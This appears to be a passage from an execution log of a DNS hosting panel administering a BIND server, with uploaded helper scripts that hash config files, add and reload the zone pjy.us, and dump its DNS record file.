	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:53:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp901976; rm /tmp/pkp901976'

2025-09-04 14:53:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-04 14:53:52: 

PUT: /tmp/pkp197178

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-09-04 14:53:52: 

chmod 755 /tmp/pkp197178; /tmp/pkp197178; rm /tmp/pkp197178

2025-09-04 14:53:55: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-09-04 14:53:55: 

PUT: /tmp/pkp965840

#!/bin/bash
rndc reload pjy.us 2>&1


2025-09-04 14:53:55: 

chmod 755 /tmp/pkp965840; /tmp/pkp965840; rm /tmp/pkp965840

2025-09-04 14:53:55: 


zone reload up-to-date


2025-09-04 14:53:55: Establishing a connection
2025-09-04 14:53:55: 

PUT: /tmp/pkp709493

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:53:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp709493; rm /tmp/pkp709493'

2025-09-04 14:53:56: 
2025-09-04 14:53:56: 

PUT: /tmp/pkp851183

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-04 14:53:56: 

chmod 755 /tmp/pkp851183; /tmp/pkp851183; rm /tmp/pkp851183

2025-09-04 14:53:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 131399526 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"fwYKhqdmG7ikjrhH9kqQwlvFyq-i6BopEQs9cb0aT5A"
_acme-challenge           60	 IN    TXT      	"Oy-hvG1Fk8rOdIOyn_9wg8pOBIQsA-_YvJ1Y6RCIpLQ"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
